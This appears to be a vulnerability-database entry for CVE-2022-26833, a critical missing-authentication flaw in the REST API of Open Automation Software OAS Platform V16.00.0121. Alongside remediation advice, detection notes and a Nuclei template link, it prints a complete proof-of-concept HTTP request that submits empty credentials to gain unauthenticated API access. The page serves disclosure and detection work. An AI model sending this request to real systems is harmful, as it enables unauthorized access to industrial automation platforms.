🔙 목록으로 돌아가기

CVE-2022-26833: Open Automation Software OAS Platform V16.00.0121 - Missing Authentication

TitleOpen Automation Software OAS Platform V16.00.0121 - Missing Authentication
Authortrue13
SeverityCritical
ImpactAn attacker can exploit this vulnerability to gain unauthorized access to the affected system.
RemediationApply the latest security patch or update to the Open Automation Software OAS Platform V16.00.0121 to fix the missing authentication issue.
CVSS Score9.4
EPSS Score0.92531
CVE IDCVE-2022-26833
CWE IDCWE-306
Tags cve2022 cve oas oss unauth openautomationsoftware vkev vuln

🔍 Vulnerability Description

An improper authentication vulnerability exists in the REST API functionality of Open Automation Software OAS Platform V16.00.0121. A specially-crafted series of HTTP requests can lead to unauthenticated use of the REST API. An attacker can send a series of HTTP requests to trigger this vulnerability.

🌐 HTTP Request

POST /OASREST/v2/authenticate HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Content-Length: 32
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/json
Connection: close

{"username": "", "password": ""}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-26833.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-26833.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A